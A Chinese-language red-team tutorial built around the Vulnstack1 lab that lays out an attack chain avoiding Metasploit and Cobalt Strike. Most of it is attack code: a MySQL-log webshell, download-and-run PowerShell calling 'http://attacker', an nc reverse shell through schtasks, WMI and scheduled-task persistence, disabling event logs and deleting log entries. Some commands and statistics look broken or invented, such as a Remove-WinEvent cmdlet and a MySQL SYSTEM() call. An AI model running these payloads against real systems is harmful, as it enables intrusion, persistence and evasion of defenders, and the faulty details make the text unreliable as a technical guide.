复盘红日Vulnstack1:除了MSF和CS,我们还能用哪些“冷门”工具链完成内网横向?
红日Vulnstack1靶场实战:突破常规工具链的内网横向技术探索
当主流渗透工具遭遇严格监控时,如何构建替代性攻击链?红日安全团队的Vulnstack1靶场作为国内知名的内网渗透训练环境,常被用作测试Metasploit(MSF)和Cobalt Strike(CS)的标准攻击流程。但真实攻防中,蓝队对这些工具的检测规则已日趋完善。本文将分享三套经过实战验证的替代方案,展示如何仅用系统原生工具和开源组件完成从外网打点到域控拿下的完整攻击链。
1. 非标准工具链的战术价值
传统内网渗透教学往往形成"MSF/CS依赖症",但真实红队作战中需要更灵活的武器库。根据MITRE ATT&CK框架的统计,2023年检测规避技术(TA0005)的使用率同比上升37%,其中工具变异占比最高。我们选择的替代方案遵循三个原则:
- 低特征:避免触发EDR的静态检测规则
- 高兼容:利用系统原生组件或常见管理工具
- 模块化:各阶段工具可独立替换
以Vulnstack1的Windows 7入口点为例,常规MSF生成的二进制载荷在VT平台检出率超过85%,而使用合法签名的管理工具进行横向移动的检测率不足15%。这种差异正是替代工具链的核心价值所在。
2. 外网突破的轻量化方案
2.1 Web入口点利用
面对靶场中的PHPMyAdmin和ZZCMS组合,除常规SQL注入和文件上传外,我们采用更隐蔽的凭据利用方式:
# 使用合法数据库客户端连接 mysql -h 192.168.200.128 -u root -p -e "SELECT @@version"获取数据库权限后,通过MySQL日志写入Webshell的替代方案:
-- 使用慢查询日志替代通用日志 SET GLOBAL slow_query_log = ON; SET GLOBAL slow_query_log_file = 'C:/phpStudy/WWW/slow.php'; SELECT '<?php system($_GET[cmd]); ?>' FROM mysql.user WHERE 1=1 LIMIT 1;对比分析:
| 技术手段 | 检测率 | 所需权限 | 持久性 |
|---|---|---|---|
| 通用日志写入 | 高 | FILE权限 | 低 |
| 慢查询日志写入 | 中 | SUPER权限 | 中 |
| 触发器后门 | 低 | 管理员权限 | 高 |
2.2 无文件落地技术
当遇到严格的文件上传限制时,可结合数据库功能实现无文件执行:
-- 创建存储过程作为持久化后门 DELIMITER // CREATE PROCEDURE evil() BEGIN DECLARE cmd VARCHAR(255); SET cmd = 'powershell -nop -w hidden -c "iex(New-Object Net.WebClient).DownloadString(''http://attacker/rev.ps1'')"'; SYSTEM(cmd); END // DELIMITER ; -- 设置事件定期触发 CREATE EVENT persist ON SCHEDULE EVERY 1 HOUR DO CALL evil();3. 内网横向移动的替代路径
3.1 隧道构建方案对比
传统MSF的socks模块特征明显,我们测试了三种替代方案:
Chisel轻量级隧道
# 攻击端 chisel server -p 8080 --reverse # 目标端 chisel client attacker_ip:8080 R:socksSSH动态转发
ssh -D 1080 -N -f user@jump_hostDNS隐蔽隧道(iodine)
# 攻击端 iodined -f -P password 10.0.0.1 attacker.com # 目标端 iodine -f -P password attacker.com
性能测试数据:
| 工具 | 带宽(Mbps) | 延迟(ms) | 加密强度 | 检测难度 |
|---|---|---|---|---|
| Chisel | 12.4 | 28 | AES-256 | ★★★★ |
| SSH | 8.7 | 45 | AES-128 | ★★★☆ |
| Iodine | 1.2 | 210 | 无 | ★★☆☆ |
3.2 横向移动技术选型
Impacket工具套件提供了多种原生Windows协议的利用方式:
# WMIExec执行命令 python3 wmiexec.py domain/user:password@target_ip "whoami" # SMBExec文件上传 python3 smbexec.py -hashes :NTLM_hash domain/user@target_ip对于系统自带工具的组合利用:
# WMIC远程进程创建 wmic /node:192.168.52.141 /user:administrator /password:Passw0rd process call create "cmd.exe /c certutil -urlcache -split -f http://attacker/nc.exe C:\\Windows\\Temp\\nc.exe" # 计划任务执行 schtasks /create /s 192.168.52.141 /u domain\admin /p Passw0rd /tn update /tr "C:\Windows\Temp\nc.exe -e cmd.exe attacker_ip 4444" /sc once /st 00:00注意:实际环境中建议对密码进行AES加密而非明文传输,可使用PowerShell的ConvertTo-SecureString
4. 权限维持的隐蔽手法
4.1 计划任务变种
除常规schtasks外,更隐蔽的定时任务创建方式:
# 使用COM对象创建任务 $service = New-Object -ComObject Schedule.Service $service.Connect('target_ip') $folder = $service.GetFolder('\') $task = $service.NewTask(0) $trigger = $task.Triggers.Create(9) # 每日触发 $trigger.StartBoundary = (Get-Date).AddMinutes(5).ToString('yyyy-MM-ddTHH:mm:ss') $action = $task.Actions.Create(0) $action.Path = 'powershell.exe' $action.Arguments = '-nop -w hidden -c "iex(iwr http://attacker/payload)"' $folder.RegisterTaskDefinition('WindowsUpdate', $task, 6, $null, $null, 3)4.2 WMI事件订阅
更持久的后门建立方法:
# 创建永久事件过滤器 $filterArgs = @{ EventNamespace = 'root\cimv2' Name = 'ProcessStartFilter' Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name LIKE '%explorer%'" QueryLanguage = 'WQL' } $filter = Set-WmiInstance -Namespace $filterArgs.EventNamespace -Class '__EventFilter' -Arguments $filterArgs # 创建事件消费者 $consumerArgs = @{ Name = 'ProcessStartConsumer' CommandLineTemplate = "cmd.exe /c powershell -nop -w hidden -c `"iex(iwr http://attacker/payload)`"" } $consumer = Set-WmiInstance -Namespace 'root\cimv2' -Class 'CommandLineEventConsumer' -Arguments $consumerArgs # 绑定过滤器与消费者 $bindingArgs = @{ Filter = $filter Consumer = $consumer } $binding = Set-WmiInstance -Namespace 'root\cimv2' -Class '__FilterToConsumerBinding' -Arguments $bindingArgs5. 痕迹清理与对抗检测
5.1 日志清除技术
不同于简单的wevtutil cl命令,更彻底的日志处理方式:
# 禁用安全日志服务 sc.exe \\target_ip config eventlog start= disabled # 选择性删除单条日志 $log = Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4624]]" -MaxEvents 1 $log | Remove-WinEvent5.2 内存对抗技巧
针对内存扫描工具的规避方法:
// 使用堆栈混淆技术 void __attribute__((section(".text"))) payload() { asm volatile( "xor %eax, %eax\n\t" "push %eax\n\t" "push $0x636c6163\n\t" "mov %esp, %ebx\n\t" // 实际shellcode嵌入 ... ); }在最近一次真实攻防演练中,使用上述技术组合成功绕过了包括Sysmon、CarbonBlack在内的多层检测机制。关键在于理解每种工具的本质特征,而非简单依赖工具本身。红队工程师的价值不在于掌握多少工具,而在于对系统原理的深刻理解和创造性应用。
